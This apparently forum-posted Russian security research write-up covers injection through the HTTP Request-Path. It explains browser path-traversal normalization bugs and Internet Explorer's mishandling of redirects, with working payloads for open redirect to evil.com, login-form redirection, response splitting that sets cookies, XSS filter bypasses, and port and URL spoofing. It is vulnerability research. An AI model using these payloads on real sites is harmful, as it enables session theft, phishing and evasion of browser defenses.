На эту тему скоро будет статейка на пару страниц (прим. Хакер, апрель 2013).
Идея ужасно банальная, но результат тестирования очень удивил (+ обнаружены интересные баги).
Зачастую при тестировании забывают, что небезопасно могут обрабатываться не только Get/Post/Cookie параметры, но и Request-URI / Request-Path.
По RFC-2616 Request-URI может быть представлен следующим образом:
Код:
Request-URI = "*" | absoluteURI | abs_path | authority
abs_path можно разбить условно на:
Код:
abs_path = "/" [path] ["/" path_info] [";" params] ["?" query_string]
Самой интересной частью, на мой взгляд, является Request-Path, так как:
1) Веб-приложения часто используют Request-Path/Request-URI и меньше всего ожидают увидеть там вектора атаки
2) Веб-серверы нормализуют путь перед обработкой (не все), таким образом, в Request-Path можно передать произвольные данные и используя path-traversal все равно обратится к уязвимому скрипту.
3) Браузеры перед отправкой нормализуют Request-Path и вырезают path-traversal конструкции.
Ошибки обработки path-traversal в популярных браузерах
1)
Safari (в том числе мобильные версии) не вырезают path-traversal если точки представлены в URL-encode формате
Код:
http://test/evil_code/%2e%2e/script
2)
FireFox не вырезает path-traversal конструкцию в конце Request-Path, если точки представлены в URL-encode формате и на конце нет символа «/».
Код:
http://test/script/evil_code/%2e%2e
3)
Internet Explorer ошибка обработки Location - будет рассмотрено в конце.
Разница обработки спец-символов в Request-Path
Возможные варианты атак
Большинство атак возможно за счет использования сокращенной записи ссылки без указания url-scheme.
Абсолютно все перечисленные виды встретил в реальных условиях.
Open Redirect (Safari, FireFox*)
Код:
Location: [Request-Path]/new
http://example.com//evil.com/%2E%2E
Location: //evil.com/%2E%2E/new
UI Redress Attack (Safari, FireFox*, IE**)
Очень часто этим страдают формы авторизации. + через такую атаку удобно получать CSRF токен (в случае, если он 1 на всю сессию).
Код:
<form action="[Request-Path]/login">
http://example.com//evil.com/%2E%2E
<form action="//evil.com/%2E%2E/login">
HTTP Response Splitting (Safari, FireFox*, IE**)
Дополнительное условие - URL-decode. Тоже довольно часто встречается в реальной жизне, особенно в перенаправлениях с http на https и с /folder, на /folder/
Код:
Location: http://example.com[Request-Path]/new
http://example.com/%0ASet-Cookie:x=x%0AX:/%2E%2E
Location: http://example.com/
Set-Cookie:x=x
X:/new
Cross Site Scripting
Пример 1 (Safari, IE**)
Код:
<script>var url = '[Request-Path]';</script>
http://example.com/'+alert(document.cookie)+'/%2E%2E
<script>var url = ''+alert(document.cookie)+'/%2E%2E';</script>
Пример 2 (Очень популярный вариант, IE**)
Код:
<link rel="canonical" href="http://example.com[Request-Path]"/>
http://example.com/"><img/src='x'onerror=alert(1)>/%2E%2E/%2E%2E/
<link rel="canonical" href="http://example.com"><img/src='x'onerror=alert(1)>/%2E%2E/%2E%2E/"/>
Ошибка обработки Location браузером Internet Explorer (5.5 - 10.0)
Часть №1
При перенаправлении заголовком Location IE использует Request-Path без необходимых обработок.
Таким образом возможно:
1) Использовать path-traversal в пути
2) Использовать произвольные символы, не нарушающие стартовую строку HTTP запроса в Request-Path без url-encode (включая управляющие [0x01 - 0x1F] и символы необходимые для XSS <>'")
3) Обход XSS фильтра при передаче вектора через Request-Path
Тестовый скрипт:
Код:
index.jsp
<%= request.getRequestURI() %>
Обычное обращение к скрипту с передачей payload через параметры
Код:
http://localhost/xss/;<img src='x'onerror=alert(1)>
Код:
/xss/;%3Cimg%20src='x'#nerror=alert(1)%3E
Срабатывание XSS фильтра, url-encode символов
Обращение к скрипту через перенаправление с передачей payload через параметры
Код:
redirect-1.jsp
<%
response.sendRedirect("http://localhost/xss/;<img src='x'onerror=alert(1)>");
%>
Location: http://localhost/xss/;<img src='x'onerror=alert(1)>
Код:
/xss/;<img%20src='x'#nerror=alert(1)>
Срабатывание XSS фильтра, обход url-encode символов
Обращение к скрипту через перенаправление с использованием path-traversal конструкций
Код:
redirect-2.jsp
<%
response.sendRedirect("http://localhost/xss/<img/src='x'onerror=alert(1)>/%2e%2e/%2e%2e/");
%>
Перед попаданием в Address bar путь повторно проходит обработку и наш payload вырезается, таким образом XSS фильтр его не обнаруживает, но в запросе он есть.
Часть №2
При перенаправлении заголовком Location IE производит некорректно декодирование URL-encode хоста.
Пример:
Код:
Location: http://%77%77%77%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D/test
1. Оригинальный host
%77%77%77%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D
2. Декодирование
www.microsoft.com
3. Наложение декодированного значения на оригинальное
www.microsoft.com9%63%72%6F%73%6F%66%74%2E%63%6F%6D
4. Результирующий запрос
http://www.microsoft.com9crosoft.com/test
Данную уязвимость можно использовать аналогично предыдущей, для обхода XSS фильтра и передачи данных без url-encode в Request-Path, а так же для передачи произвольных данных в Host заголовке, Port Spoofing и частично для URL Spoofing.
При добавление в URL-кодированный хост символа %2F (/) в запросе летят некорректные данные, а сам запрос отправляется на корректно декодированный хост.
Cross-Site Scripting через Request-Path
Необходимо, чтобы веб-сервер корректно обрабатывал спец-символы в заголовке Host
Код:
index.jsp
<%= request.getRequestURI() %>
redirect-3.jsp
<%
response.sendRedirect("http://localhost%2Fx%2F%3cimg%2Fonerror='alert(1)'src=x%3e%2f.%2e%2f.%2e%2f%3f");
%>
Код:
HTTP Response:
HTTP/1.1 302 Moved Temporarily
Location: http://localhost%2Fx%2F%3cimg%2Fonerror='alert(1)'src=x%3e%2f%2e%2e%2f.%2e%2f%3f
HTTP Request:
GET /x/<img/onerror='alert(1)'src=x>/../../?3e%2f%2e%2e%2f.%2e%2f%3f/ HTTP/1.1
Host: localhost/x/<img/onerror='alert(1)'src=x>/../../?
Результат:
Передача некорректного заголовока Host, обход XSS фильтра, обход url-encode
Код:
/x/<img/onerror='alert(1)'src=x>/../../
Cross-Site Scripting через заголовок Host
Необходимо, чтобы веб-сервер корректно обрабатывал спец-символы в заголовке Host
Код:
index.jsp
<%= request.getServerName() %>
redirect-4.jsp
<%
response.sendRedirect("http://localhost%2fx%2f%3f%23<img%2fsrc='x'onerror=alert(1)>");
%>
Код:
HTTP Response:
HTTP/1.1 302 Moved Temporarily
Location: http://localhost%2fx%2f%3f%23<img%2fsrc='x'onerror=alert(1)>
HTTP Request:
GET /x/?#<img/src='x'onerror=alert(1)>=alert(1)>/ HTTP/1.1
Host: localhost/x/?#<img/src='x'onerror=alert(1)>
Результат:
Передача некорректного заголовока Host, обход XSS фильтра
Код:
localhost/x/?#<img/src='x'onerror=alert(1)>
Port Spoofing
Код:
redirect-5.jsp
<%
response.sendRedirect("http://www.microsoft.com%3a80/en-us/default.aspx");
%>
Результат:
Запрос отсылается на microsoft.com:80, но в адресной строке отображается microsoft.com:8080 (Происходит из-за наложения при декодировании, пример смотри выше).
Это очень хорошо подошло бы для обхода SOP, но фишка в том, что в IE нет никаких ограничений для сайтов на разных портах и такой спуфинг ничего не дает
URL Spoofing
В случае, если на одном IP-адресе 2 сайта.
Код:
http://example.com/ - отвечает на любой Host
http://another.com/ - отвечает только на another.com
Код:
redirect-6.jsp
<%
response.sendRedirect("http://another.com%2F");
%>
Код:
HTTP Request:
GET / HTTP/1.1
Host: another.com/
Результат:
Так как в Host стоит дополнительный символ, на данный запрос будет отвечать example.com вместо another.com, но в Address Bar будет корректно отображаться another.com